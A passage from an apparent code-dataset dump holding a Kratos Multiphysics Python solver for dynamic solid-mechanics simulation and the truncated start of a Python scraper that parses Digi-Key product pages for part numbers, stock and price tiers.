KratosMultiphysics.ExternalSolversApplication import *\n\n# Check that KratosMultiphysics was imported in the main script\nKratosMultiphysics.CheckForPreviousImport()\n\ndef CreateSolver(main_model_part, custom_settings):\n return MechanicalSolver(main_model_part, custom_settings)\n\nclass MechanicalSolver:\n \n \n ##constructor. the constructor shall only take care of storing the settings \n ##and the pointer to the main_model part. This is needed since at the point of constructing the \n ##model part is still not filled and the variables are not yet allocated\n ##\n ##real construction shall be delayed to the function \"Initialize\" which \n ##will be called once the model is already filled\n def __init__(self, main_model_part, custom_settings): \n \n #TODO: shall obtain the compute_model_part from the MODEL once the object is implemented\n self.main_model_part = main_model_part \n \n ##settings string in json format\n default_settings = KratosMultiphysics.Parameters(\"\"\"\n {\n \"solver_type\": \"solid_mechanics_NEW_SOLVER\",\n \"model_import_settings\": {\n \"input_type\": \"mdpa\",\n \"input_filename\": \"unknown_name\"\n },\n \"echo_level\": 0,\n \"max_delta_time\": 1,\n \"fraction_delta_time\": 0.9,\n \"time_integration_method\": \"Implicit\",\n \"explicit_integration_scheme\": \"CentralDifferences\",\n \"time_step_prediction_level\": \"Automatic\",\n \"rayleigh_damping\": false,\n \"rotation_dofs\": false,\n \"pressure_dofs\": false,\n \"stabilization_factor\": 1.0,\n \"reform_dofs_at_each_iteration\": false,\n \"line_search\": false,\n \"implex\": false,\n \"compute_reactions\": true,\n \"compute_contact_forces\": false,\n \"block_builder\": false,\n \"component_wise\": false,\n \"move_mesh_flag\": true,\n \"solution_type\": \"Static\",\n \"scheme_type\": \"Linear\",\n \"convergence_criterion\": \"Residual_criteria\",\n \"displacement_relative_tolerance\": 1.0e-4,\n \"displacement_absolute_tolerance\": 1.0e-9,\n \"residual_relative_tolerance\": 1.0e-4,\n \"residual_absolute_tolerance\": 1.0e-4,\n \"max_iteration\": 10,\n \"linear_solver_settings\":{\n \"solver_type\": \"Super LU\",\n \"max_iteration\": 500,\n \"tolerance\": 1e-9,\n \"scaling\": false,\n \"verbosity\": 1\n },\n \"skin_parts\": [\"\"],\n \"volume_model_part_name\": \"volume_model_part\"\n }\n \"\"\")\n \n ##overwrite the default settings with user-provided parameters\n self.settings = custom_settings\n self.settings.ValidateAndAssignDefaults(default_settings)\n \n #construct the linear solver\n import linear_solver_factory\n self.linear_solver = linear_solver_factory.ConstructSolver(self.settings[\"linear_solver_settings\"])\n\n print(\"Construction of MechanicalSolver finished\")\n \n def GetMinimumBufferSize(self):\n return 3;\n\n def AddVariables(self):\n \n #~ self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.NODAL_MASS) #MSI, i included the variable becouse i calculate energy\n # add displacements\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.DISPLACEMENT)\n # add dynamic variables\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.VELOCITY)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ACCELERATION)\n # add reactions for the displacements\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.REACTION)\n # add nodal force variables\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.INTERNAL_FORCE)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.EXTERNAL_FORCE)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.CONTACT_FORCE)\n # add specific variables for the problem conditions\n self.main_model_part.AddNodalSolutionStepVariable(SolidMechanicsApplication.IMPOSED_DISPLACEMENT) # Required variable which was not included\n self.main_model_part.AddNodalSolutionStepVariable(SolidMechanicsApplication.IMPOSED_ROTATION) # Required variable which was not included\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.POSITIVE_FACE_PRESSURE)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.NEGATIVE_FACE_PRESSURE)\n self.main_model_part.AddNodalSolutionStepVariable(SolidMechanicsApplication.POINT_LOAD)\n self.main_model_part.AddNodalSolutionStepVariable(SolidMechanicsApplication.LINE_LOAD)\n self.main_model_part.AddNodalSolutionStepVariable(SolidMechanicsApplication.SURFACE_LOAD)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.VOLUME_ACCELERATION)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.DENSITY)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.YOUNG_MODULUS)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.POISSON_RATIO)\n \n if self.settings[\"rotation_dofs\"].GetBool():\n # add specific variables for the problem (rotation dofs)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ROTATION)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.TORQUE)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ANGULAR_VELOCITY)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.ANGULAR_ACCELERATION)\n if self.settings[\"pressure_dofs\"].GetBool():\n # add specific variables for the problem (pressure dofs)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.PRESSURE)\n self.main_model_part.AddNodalSolutionStepVariable(SolidMechanicsApplication.PRESSURE_REACTION)\n if self.settings[\"time_integration_method\"].GetString() == \"Explicit\":\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.NODAL_MASS)\n self.main_model_part.AddNodalSolutionStepVariable(KratosMultiphysics.FORCE_RESIDUAL)\n self.main_model_part.AddNodalSolutionStepVariable(SolidMechanicsApplication.MIDDLE_VELOCITY)\n \n print(\"::[Mechanical Solver]:: Variables ADDED\")\n\n def ImportModelPart(self):\n \n print(\"::[Mechanical Solver]:: Model reading starts.\")\n if(self.settings[\"model_import_settings\"][\"input_type\"].GetString() == \"mdpa\"):\n # Here it would be the place to import restart data if required\n KratosMultiphysics.ModelPartIO(self.settings[\"model_import_settings\"][\"input_filename\"].GetString()).ReadModelPart(self.main_model_part)\n print(\" Import input model part.\")\n \n # Here we shall check that the input read has the shape we like\n aux_params = KratosMultiphysics.Parameters(\"{}\")\n aux_params.AddValue(\"volume_model_part_name\",self.settings[\"volume_model_part_name\"])\n aux_params.AddValue(\"skin_parts\",self.settings[\"skin_parts\"])\n \n ######### TO BE REVIEWED AS SOON AS THE REPLACE SETTINGS ARE STATED ###########\n #~ #here we replace the dummy elements we read with proper elements\n #~ self.settings.AddEmptyValue(\"element_replace_settings\")\n #~ if(self.main_model_part.ProcessInfo[KratosMultiphysics.DOMAIN_SIZE] == 3):\n #~ self.settings[\"element_replace_settings\"] = KratosMultiphysics.Parameters(\"\"\"\n #~ {\n #~ \"element_name\":\"VMS3D4N\",\n #~ \"condition_name\": \"MonolithicWallCondition3D\"\n #~ }\n #~ \"\"\")\n #~ elif(self.main_model_part.ProcessInfo[KratosMultiphysics.DOMAIN_SIZE] == 2):\n #~ self.settings[\"element_replace_settings\"] = KratosMultiphysics.Parameters(\"\"\"\n #~ {\n #~ \"element_name\":\"VMS2D3N\",\n #~ \"condition_name\": \"MonolithicWallCondition2D\"\n #~ }\n #~ \"\"\")\n #~ else:\n #~ raise Exception(\"domain size is not 2 or 3\")\n #~ \n #~ KratosMultiphysics.ReplaceElementsAndConditionsProcess(self.main_model_part, self.settings[\"element_replace_settings\"]).Execute()\n #~ \n #~ import check_and_preparemodel_process\n #~ check_and_preparemodel_process.CheckAndPrepareModelProcess(self.main_model_part, aux_params).Execute()\n \n ###### TODO: This manner does not allow to set different materials (unique material model)...\n # Set density, Young modulus and Poisson ratio to the nodes\n for el in self.main_model_part.Elements:\n density = el.Properties.GetValue(KratosMultiphysics.DENSITY)\n young_modulus = el.Properties.GetValue(KratosMultiphysics.YOUNG_MODULUS)\n poisson_ratio = el.Properties.GetValue(KratosMultiphysics.POISSON_RATIO)\n break\n \n KratosMultiphysics.VariableUtils().SetScalarVar(KratosMultiphysics.DENSITY, density, self.main_model_part.Nodes)\n KratosMultiphysics.VariableUtils().SetScalarVar(KratosMultiphysics.YOUNG_MODULUS, young_modulus, self.main_model_part.Nodes)\n KratosMultiphysics.VariableUtils().SetScalarVar(KratosMultiphysics.POISSON_RATIO, poisson_ratio, self.main_model_part.Nodes)\n print(\" Density, Young modulus and Poisson ratio set.\")\n \n # Constitutive law import\n import constitutive_law_python_utility as constitutive_law_utils\n constitutive_law = constitutive_law_utils.ConstitutiveLawUtility(self.main_model_part, \n self.main_model_part.ProcessInfo[KratosMultiphysics.DOMAIN_SIZE]);\n constitutive_law.Initialize();\n print(\" Constitutive law initialized.\")\n \n else:\n raise Exception(\"Other input options are not yet implemented.\")\n \n current_buffer_size = self.main_model_part.GetBufferSize()\n if(self.GetMinimumBufferSize() > current_buffer_size):\n self.main_model_part.SetBufferSize( self.GetMinimumBufferSize() )\n \n print (\"::[Mechanical Solver]:: Model reading finished.\")\n\n\n def AddDofs(self):\n\n for node in self.main_model_part.Nodes:\n # adding dofs\n node.AddDof(KratosMultiphysics.DISPLACEMENT_X, KratosMultiphysics.REACTION_X);\n node.AddDof(KratosMultiphysics.DISPLACEMENT_Y, KratosMultiphysics.REACTION_Y);\n node.AddDof(KratosMultiphysics.DISPLACEMENT_Z, KratosMultiphysics.REACTION_Z);\n \n if self.settings[\"rotation_dofs\"].GetBool():\n for node in model_part.Nodes:\n node.AddDof(KratosMultiphysics.ROTATION_X, KratosMultiphysics.TORQUE_X);\n node.AddDof(KratosMultiphysics.ROTATION_Y, KratosMultiphysics.TORQUE_Y);\n node.AddDof(KratosMultiphysics.ROTATION_Z, KratosMultiphysics.TORQUE_Z);\n if self.settings[\"rotation_dofs\"].GetBool(): \n for node in model_part.Nodes:\n node.AddDof(KratosMultiphysics.PRESSURE, SolidMechanicsApplication.PRESSURE_REACTION);\n\n print(\"::[Mechanical Solver]:: DOF's ADDED\")\n\n \n def Initialize(self):\n \n # Default settings\n echo_level = self.settings[\"echo_level\"].GetInt()\n domain_size = self.main_model_part.ProcessInfo[KratosMultiphysics.DOMAIN_SIZE]\n buffer_size = 3 #default buffer_size\n\n pressure_dofs = self.settings[\"pressure_dofs\"].GetBool()\n rotation_dofs = self.settings[\"rotation_dofs\"].GetBool()\n stabilization_factor = self.settings[\"stabilization_factor\"].GetDouble()\n\n # Definition of the solvers\n solution_type = self.settings[\"solution_type\"].GetString()\n scheme_type = self.settings[\"scheme_type\"].GetString()\n time_integration_method = self.settings[\"time_integration_method\"].GetString()\n explicit_integration_method = self.settings[\"explicit_integration_scheme\"].GetString()\n \n arlequin = 0 #?¿¿?¿¿??¿?¿?¿¿?\n\n # Definition of the convergence criteria\n rel_disp_tol = self.settings[\"displacement_relative_tolerance\"].GetDouble()\n abs_disp_tol = self.settings[\"displacement_absolute_tolerance\"].GetDouble()\n rel_res_tol = self.settings[\"residual_relative_tolerance\"].GetDouble()\n abs_res_tol = self.settings[\"residual_absolute_tolerance\"].GetDouble()\n max_iters = self.settings[\"max_iteration\"].GetInt()\n convergence_criterion_type = self.settings[\"convergence_criterion\"].GetString()\n\n # Definition of the default builder_and_solver:\n block_builder = self.settings[\"block_builder\"].GetBool()\n builder_and_solver = SolidMechanicsApplication.ResidualBasedBuilderAndSolver(self.linear_solver)\n\n # Definition of the component wise calculation \"computation is slower\"\n #(it affects to strategy, builder_and_solver, scheme and convergence_criterion)\n component_wise = self.settings[\"component_wise\"].GetBool()\n\n # Definition of computing flags\n compute_reactions = self.settings[\"compute_reactions\"].GetBool()\n compute_contact_forces = self.settings[\"compute_contact_forces\"].GetBool()\n line_search = self.settings[\"line_search\"].GetBool()\n implex = self.settings[\"implex\"].GetBool()\n reform_step_dofs = self.settings[\"reform_dofs_at_each_iteration\"].GetBool()\n\n # Definition of the (x_n+1 = x_n+dx) in each iteration -> strategy base class includes de MoveMesh method\n move_mesh_flag = self.settings[\"move_mesh_flag\"].GetBool()\n \n max_delta_time = self.settings[\"max_delta_time\"].GetDouble()\n fraction_delta_time = self.settings[\"fraction_delta_time\"].GetDouble()\n time_step_prediction_level = self.settings[\"time_step_prediction_level\"].GetString()\n #~ self.time_step_prediction_level = 0 ## IN THE ORIGINAL SOLVER IT WAS AN INTEGER...\n rayleigh_damping = self.settings[\"rayleigh_damping\"].GetBool()\n\n print(\"::[Mechanical Solver]:: -START-\")\n \n ##### ?¿?¿??¿¿?¿ ######\n if(time_integration_method == \"Explicit\"):\n if(explicit_integration_scheme == \"CentralDifferences\"):\n buffer_size = 2 \n #could be 1 becouse it uses a extra variable - MIDDLE_VELOCITY for previous time step velocity and avoids extra buffer_size. However\n #the prediction/application of B.C. need last step values \n if(arlequin == 1): #### ARLEQUIN IS NEVER = 1, IS PREVIOUSLY SET TO 0.\n buffer_size = 2\n ##### ¿?¿?¿?¿?¿¿ ######\n\n # Builder and solver creation\n builder_and_solver = self.GetBuilderAndSolver(component_wise, block_builder)\n \n # Solution scheme creation\n if(time_integration_method == \"Explicit\"):\n mechanical_scheme = self.GetSolutionSchemeExplicit(explicit_integration_scheme, \n max_delta_time, \n fraction_delta_time, \n time_step_prediction_level, \n rayleigh_damping)\n elif(time_integration_method == \"Implicit\"):\n mechanical_scheme = self.GetSolutionSchemeImplicit(scheme_type, \n component_wise,\n compute_contact_forces)\n\n # Convergence criterion creation\n mechanical_convergence_criterion = self.GetConvergenceCriterion(convergence_criterion_type,\n rotation_dofs,\n echo_level,\n component_wise) \n # Mechanical solver creation\n self.CreateMechanicalSolver(mechanical_scheme,\n mechanical_convergence_criterion,\n builder_and_solver,\n max_iters,\n compute_reactions,\n reform_step_dofs,\n move_mesh_flag,\n component_wise,\n line_search,\n time_integration_method)\n\n # Set the stabilization factor\n self.main_model_part.ProcessInfo[KratosMultiphysics.STABILIZATION_FACTOR] = stabilization_factor\n\n # Set echo_level\n self.mechanical_solver.SetEchoLevel(echo_level)\n\n # Check if everything is assigned correctly\n self.Check();\n\n print(\"::[Mechanical Solver]:: -END- \")\n \n def GetComputeModelPart(self):\n return self.main_model_part.GetSubModelPart(self.settings[\"volume_model_part_name\"].GetString())\n \n def GetOutputVariables(self):\n pass\n \n def ComputeDeltaTime(self):\n pass\n \n def SaveRestart(self):\n pass #one should write the restart file here\n \n def Solve(self):\n self.mechanical_solver.Solve()\n\n def SetEchoLevel(self, level):\n self.solver.SetEchoLevel(level)\n\n def Clear(self):\n self.solver.Clear()\n \n def Check(self):\n self.mechanical_solver.Check()\n \n #### Specific internal functions ####\n \n def GetBuilderAndSolver(self, component_wise, block_builder):\n # creating the builder and solver\n if(component_wise):\n builder_and_solver = SolidMechanicsApplication.ComponentWiseBuilderAndSolver(self.linear_solver)\n else:\n if(block_builder):\n # to keep matrix blocks in builder\n builder_and_solver = KratosMultiphysics.ResidualBasedBlockBuilderAndSolver(self.linear_solver)\n else:\n builder_and_solver = SolidMechanicsApplication.ResidualBasedBuilderAndSolver(self.linear_solver)\n \n return builder_and_solver\n \n def GetSolutionSchemeExplicit(self, explicit_integration_scheme, max_delta_time, fraction_delta_time, time_step_prediction_level, rayleigh_damping):\n # creating the explicit solution scheme:\n if(explicit_integration_scheme == \"CentralDifferences\"):\n mechanical_scheme = SolidMechanicsApplication.ExplicitCentralDifferencesScheme(max_delta_time, \n fraction_delta_time, \n time_step_prediction_level,\n rayleigh_damping)\n else:\n raise(explicit_integration_scheme,\" not implemented yet.\")\n \n return mechanical_scheme\n \n def GetSolutionSchemeImplicit(self, scheme_type, component_wise, compute_contact_forces):\n # creating the implicit solution scheme:\n if(scheme_type == \"Newmark\"):\n damp_factor_m = 0.0;\n dynamic_factor = 1;\n \n self.main_model_part.ProcessInfo[SolidMechanicsApplication.RAYLEIGH_ALPHA] = 0.0\n self.main_model_part.ProcessInfo[SolidMechanicsApplication.RAYLEIGH_BETA ] = 0.0\n \n if(component_wise):\n mechanical_scheme = SolidMechanicsApplication.ComponentWiseBossakScheme(damp_factor_m, \n dynamic_factor)\n else:\n if(compute_contact_forces):\n mechanical_scheme = SolidMechanicsApplication.ResidualBasedContactBossakScheme(damp_factor_m,\n dynamic_factor)\n else:\n mechanical_scheme = SolidMechanicsApplication.ResidualBasedBossakScheme(damp_factor_m,\n dynamic_factor)\n elif(scheme_type == \"Bossak\"):\n damp_factor_m = -0.01;\n dynamic_factor = 1;\n \n self.main_model_part.ProcessInfo[SolidMechanicsApplication.RAYLEIGH_ALPHA] = 0.0\n self.main_model_part.ProcessInfo[SolidMechanicsApplication.RAYLEIGH_BETA ] = 0.0\n \n if(component_wise):\n mechanical_scheme = SolidMechanicsApplication.ComponentWiseBossakScheme(damp_factor_m, \n dynamic_factor)\n else:\n if(compute_contact_forces):\n mechanical_scheme = SolidMechanicsApplication.ResidualBasedContactBossakScheme(damp_factor_m,\n dynamic_factor)\n else:\n mechanical_scheme = SolidMechanicsApplication.ResidualBasedBossakScheme(damp_factor_m,\n dynamic_factor)\n elif(scheme_type == \"Relaxation\"):\n #~ self.main_model_part.GetSubModelPart(self.settings[\"volume_model_part_name\"].GetString()).AddNodalSolutionStepVariable(KratosMultiphysics.DISPLACEMENT) \n \n import KratosMultiphysics.StructuralMechanicsApplication as StructMechApp\n damp_factor_f = -0.3;\n damp_factor_m = 10.0;\n mechanical_scheme = StructMechApp.ResidualBasedRelaxationScheme(damp_factor_f,\n damp_factor_m)\n \n return mechanical_scheme\n \n def GetConvergenceCriterion(self, convergence_criterion_type, rotation_dofs, echo_level, component_wise):\n\n D_RT = self.settings[\"displacement_relative_tolerance\"].GetDouble()\n D_AT = self.settings[\"displacement_absolute_tolerance\"].GetDouble()\n R_RT = self.settings[\"residual_relative_tolerance\"].GetDouble()\n R_AT = self.settings[\"residual_absolute_tolerance\"].GetDouble()\n\n if(rotation_dofs):\n if(convergence_criterion_type == \"Displacement_criteria\"):\n mechanical_convergence_criterion = SolidMechanicsApplication.DisplacementCriteria(D_RT, D_AT)\n elif(convergence_criterion_type == \"Residual_criteria\"):\n mechanical_convergence_criterion = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n elif(convergence_criterion_type == \"And_criteria\"):\n Displacement = SolidMechanicsApplication.DisplacementCriteria(D_RT, D_AT)\n Residual = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n mechanical_convergence_criterion = KratosMultiphysics.AndCriteria(Residual, Displacement)\n elif(convergence_criterion_type == \"Or_criteria\"):\n Displacement = SolidMechanicsApplication.DisplacementCriteria(D_RT, D_AT)\n Residual = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n mechanical_convergence_criterion = KratosMultiphysics.OrCriteria(Residual, Displacement)\n #~ elif(convergence_criterion_type == \"Mixed_criteria\"):\n #~ Displacement = KratosMultiphysics.MixedElementCriteria(D_RT, D_AT)\n #~ Residual = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n #~ mechanical_convergence_criterion = KratosMultiphysics.AndCriteria(Residual, Displacement)\n else:\n if(echo_level > 1):\n print(\"::[Mechanical Solver]:: CONVERGENCE CRITERION : \", convergence_criterion_type)\n\n if(convergence_criterion_type == \"Displacement_criteria\"):\n mechanical_convergence_criterion = SolidMechanicsApplication.DisplacementConvergenceCriterion(D_RT, D_AT)\n elif(convergence_criterion_type == \"Residual_criteria\"):\n if(component_wise):\n mechanical_convergence_criterion = SolidMechanicsApplication.ComponentWiseResidualConvergenceCriterion(R_RT, R_AT)\n else:\n mechanical_convergence_criterion = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n elif(convergence_criterion_type == \"And_criteria\"):\n Displacement = SolidMechanicsApplication.DisplacementConvergenceCriterion(D_RT, D_AT)\n if(component_wise):\n Residual = SolidMechanicsApplication.ComponentWiseResidualConvergenceCriterion(R_RT, R_AT)\n else:\n Residual = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n mechanical_convergence_criterion = KratosMultiphysics.AndCriteria(Residual, Displacement)\n elif(convergence_criterion_type == \"Or_criteria\"):\n Displacement = SolidMechanicsApplication.DisplacementConvergenceCriterion(D_RT, D_AT)\n if(self.component_wise):\n Residual = SolidMechanicsApplication.ComponentWiseResidualConvergenceCriterion(R_RT, R_AT)\n else:\n Residual = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n mechanical_convergence_criterion = KratosMultiphysics.OrCriteria(Residual, Displacement)\n #~ elif(convergence_criterion_type == \"Mixed_criteria\"):\n #~ Displacement = KratosMultiphysics.MixedElementConvergeCriteria(D_RT, D_AT)\n #~ Residual = KratosMultiphysics.ResidualCriteria(R_RT, R_AT)\n #~ mechanical_convergence_criterion = KratosMultiphysics.AndCriteria(Residual, Displacement)\n \n return mechanical_convergence_criterion\n \n def CreateMechanicalSolver(self, mechanical_scheme, mechanical_convergence_criterion, builder_and_solver, max_iters, compute_reactions, reform_step_dofs, move_mesh_flag, component_wise, line_search, time_integration_method):\n if (time_integration_method == \"Implicit\"):\n if(component_wise):\n self.mechanical_solver = SolidMechanicsApplication.ComponentWiseNewtonRaphsonStrategy(self.main_model_part, \n mechanical_scheme, \n self.linear_solver, \n mechanical_convergence_criterion, \n builder_and_solver, \n max_iters, \n compute_reactions, \n reform_step_dofs, \n move_mesh_flag)\n else:\n if(line_search):\n self.mechanical_solver = SolidMechanicsApplication.ResidualBasedNewtonRaphsonLineSearchStrategy(self.main_model_part, \n mechanical_scheme, \n self.linear_solver, \n mechanical_convergence_criterion, \n builder_and_solver, \n max_iters, \n compute_reactions, \n reform_step_dofs, \n move_mesh_flag)\n else:\n self.mechanical_solver = KratosMultiphysics.ResidualBasedNewtonRaphsonStrategy(self.main_model_part, \n mechanical_scheme, \n self.linear_solver, \n mechanical_convergence_criterion, \n builder_and_solver, \n max_iters, \n compute_reactions, \n reform_step_dofs, \n move_mesh_flag)\n elif(time_integration_method == \"Explicit\"):\n self.mechanical_solver = SolidMechanicsApplication.ExplicitStrategy(self.main_model_part, \n mechanical_scheme, \n self.linear_solver, \n compute_reactions, \n reform_step_dofs, \n move_mesh_flag)\n self.mechanical_solver.SetRebuildLevel(0) # 1 to recompute the mass matrix in each explicit step \n\n\n","sub_path":"kratos/applications/SolidMechanicsApplication/python_scripts/solid_mechanics_dynamic.py","file_name":"solid_mechanics_dynamic.py","file_ext":"py","file_size_in_byte":31192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"256725023","text":"from requests import get\nfrom lxml import etree\nimport logging\nimport time\nfrom threading import Lock\nimport pika\nfrom client.spider.base import Spider\n\nlock = Lock()\n\nclass LieGoodsSpider(Spider):\n '''\n PS. 这个类调用有两种情况\n 1. 分页成功的时候,默认会增加goods简略的信息到数据库,然后这里就这样玩.\n >>lgs = LieGoodsSpider(cat_id, goods_id, goods_sn, url, pdf_url)\n\n 2. 分页失败,小分类点进去就是详情这种情况\n >>lgs = LieGoodsSpider(cat_id, goods_id=None, goods_sn=None, url, pdf_url=None)\n '''\n def __init__(self, cat_id, goods_id, goods_sn, url, pdf_url, ch, routingkey,\n is_first):\n Spider.__init__(self)\n self.cat_id = cat_id\n self.goods_id = goods_id\n self.goods_sn = goods_sn\n self.url = url\n self.pdf_url = pdf_url\n self.headers = {\n 'Host': 'www.digikey.cn',\n 'Cache-Control': 'max-age=0',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) '+\\\n 'AppleWebKit/537.36 (KHTML, like Gecko) '+\\\n 'Chrome/56.0.2924.87 Safari/537.36',\n 'Accept': 'text/html,application/xhtml+xml,application/xml'+\\\n ';q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, sdch',\n 'Accept-Language': 'zh-CN,zh;q=0.8',\n }\n self.ch = ch\n self.routingkey = routingkey\n self.is_first = is_first\n\n def goods(self, proxy_queue): \n return self.get_no_proxies(self.url, headers=self.headers, timeout=30)\n\n def parse_goods(self, html):\n if not html:\n return -1\n try:\n sig = self.rule_img_left(html)\n if sig:\n return\n logging.debug('第一种规则解析失败了')\n except BaseException as be:\n raise be\n\n def fz_goods_detail(self, goods_name, brand_name,\n desc, pn, stock, tiered):\n dgk = dict()\n dgk['goods_id'] = self.goods_id\n dgk['goods_name'] = goods_name\n dgk['goods_sn'] = self.goods_sn\n dgk['brand_name'] = brand_name\n dgk['desc'] = desc\n dgk['docurl'] = self.pdf_url\n dgk['pn'] = pn\n dgk['stock'] = stock\n dgk['tiered'] = tiered\n dgk['increment'] = 1\n dgk['time'] = int(time.time())\n dgk['url'] = self.url\n return dgk\n\n def rule_img_left(self, html):\n if not html:\n return\n tree = etree.HTML(html)\n pdb_content = tree.xpath('//*[@id=\"pdp_content\"]')\n pdb_content = pdb_content[0] if pdb_content else None\n\n # product-top-section\n # **********************************************************************\n pts = pdb_content.xpath('//div[@class=\"product-top-section\"]')\n pts = pts[0] if pts else None\n # 解析图片\n pimg = pdb_content.xpath('//div[@id=\"product-photo-wrapper\"]/a/img/@src')\n pimg = ''.join(pimg).strip() if len(pimg)!=0 else ''\n logging.debug('产品图片链接: %s\\n' % pimg)\n # 产品概览\n pdt = pdb_content.xpath('//table[@id=\"product-details\"]')[0]\n trs = pdt.xpath('./tr')\n\n goods_name = ''#\n goods_name_style = ''\n kc = ''\n zzs = ''\n zzs_url = ''\n for tr in trs:\n th = ''.join(tr.xpath('./th')[0].xpath('./text()')).strip()\n td = ''\n if 'Digi-Key 零件编号' == th:\n # 如果Digi-Key 零件编号\n td = ''.join(tr.xpath('./td')[0].xpath('./text()')).strip()\n goods_name_style = td\n elif '现有数量' == th: \n td = ''.join(tr.xpath('./td')[0].\\\n xpath('./span[@id=\"dkQty\"]/text()'))\n kc = td\n elif '制造商' == th:\n td = ''.join(tr.xpath('./td')[0].\\\n xpath('./h2/span/a/span/text()')).strip()\n zzs = td\n td = ''.join(tr.xpath('./td')[0].\\\n xpath('./h2/span/a/@href')).strip()\n zzs_url = 'http://www.digikey.cn' + td\n elif '制造商零件编号' == th:\n td = ''.join(tr.xpath('./td')[0].\\\n xpath('./h1/text()')).strip()\n goods_name = td\n elif '描述' == th:\n td = ''.join(tr.xpath('./td')[0].\\\n xpath('./text()')).strip()\n desc = td\n\n if kc == '':\n kc = 0\n logging.debug('Digikey零件编号: %s' % goods_name_style)\n logging.debug('库存: %s' % kc)\n logging.debug('制造商: %s' % zzs)\n logging.debug('制造商url: %s' % zzs_url)\n logging.debug('制造商零件编号: %s' % goods_name)\n logging.debug('描述: %s' % desc)\n \n \n # product-dollars\n # **********************************************************************\n logging.debug('解析价格梯度')\n pd = pdb_content.xpath('//table[@id=\"product-dollars\"]')\n pd = pd[0] if pd else None\n\n tiered = []\n stock = []\n try:\n if pd is None:\n # 价格梯度第一次解析失败\n logging.debug('价格梯度第一次解析失败,'\n '大哥,可能遇到那种没有图片,没有梯度的数据了')\n '''\n with open('/data/log/bigdata/digikey/那种没有图片梯度的数据.txt', 'a') as f:\n logstr = dict(\n time_ = time.ctime(),\n cat_id=self.cat_id,\n goods_id=self.goods_id,\n url=self.url,\n goods_sn=self.goods_sn\n )\n f.write(str(logstr)+'\\n')\n '''\n logging.debug('%s\\n' % tiered)\n else:\n trs = pd.xpath('./tr')[1:]\n tc = 0\n for tr in trs:\n tds = tr.xpath('./td')\n gn = int(tds[0].xpath('./text()')[0].replace(',' ,''))\n gp = None\n if tc == 0:\n gp = tds[1].xpath('./span/text()')[0]\n stock.append(gn)\n else:\n gp = tds[1].xpath('./text()')[0]\n gp = float(''.join(gp.split(','))) if gp else None\n tiered.append([gn, gp])\n tc += 1\n # bug 0 TODO\n logging.debug('stock: %s' % str(stock))\n logging.debug('%s\\n' % tiered)\n\n except Exception as e:\n print(e)\n stock = [0,]\n finally:\n stock.append(kc)\n\n if self.is_first:\n print('**********************更新mysql**********************')\n # prod-attributes\n # **********************************************************************\n pa = pdb_content.xpath('//div[@class=\"prod-attributes\"]')\n pa = pa[0] if pa else None\n atm = pa.xpath('//table[@id=\"prod-att-table\"]')[0]\n trs = atm.xpath('./tr')[1:]\n \n attrs = dict()\n i = 0\n while i < len(trs):\n if i == 0:\n # 解析类别\n ga = trs[i].xpath('./th')[0].xpath('./text()')[0]\n gv = trs[i].xpath('./td')[0].xpath('./a/text()')[0]\n tmp = ''.join(trs[i+1].xpath('./td')[0].\\\n xpath('./a/text()')).strip()\n gv = gv + ', ' + tmp\n logging.debug('%s: %s' % (ga, gv))\n attrs[ga] = gv\n i += 2\n continue\n if i == 2:\n ga = ''.join(trs[i].xpath('./th')[0].\\\n xpath('./text()')[0]).strip()\n gv = ''.join(trs[i].xpath('./td')[0].\\\n xpath('./h3/text()')[0]).strip()\n logging.debug('%s: %s' % (ga, gv))\n attrs[ga] = gv\n i += 1\n continue\n ga = ''.join(trs[i].xpath('./th')[0].xpath('./text()')[0]).strip()\n gv = ''.join(trs[i].xpath('./td')[0].xpath('./text()')[0]).strip()\n logging.debug('%s: %s' % (ga, gv))\n attrs[ga] = gv\n i += 1\n print(attrs)\n\n # 增加和更新brand\n lieBrand = dict()\n lieBrand['brand_name'] = zzs.encode().decode()\n lieBrand['site_url'] = zzs_url.encode().decode()\n\n '''\n r = get(lieBrand['site_url'], headers=self.headers)\n r.encoding = 'utf-8'\n tree1 = etree.HTML(r.text)\n zzs_logo = tree1.xpath(\n '//*[@id=\"form1\"]/div[4]/div/table/tbody/tr/td[1]')\n if zzs_logo and len(zzs_logo) != 0:\n logging.debug('制造商logo匹配成功')\n zzs_logo = zzs_logo[0].xpath('./a')[0].xpath('./img')[0].\\\n xpath('./@src')[0].encode().decode()\n else:\n logging.debug('制造商logo匹配失败')\n zzs_logo = tree1.xpath(\n '//*[@id=\"pagelayout_0_content_2__vendorLink\"]/img/@src')\n logging.debug('制造商logo: %s' % zzs_logo)\n lieBrand['brand_logo'] = zzs_logo\n '''\n lieBrand['brand_logo'] = ''\n lieBrand['brand_desc'] = 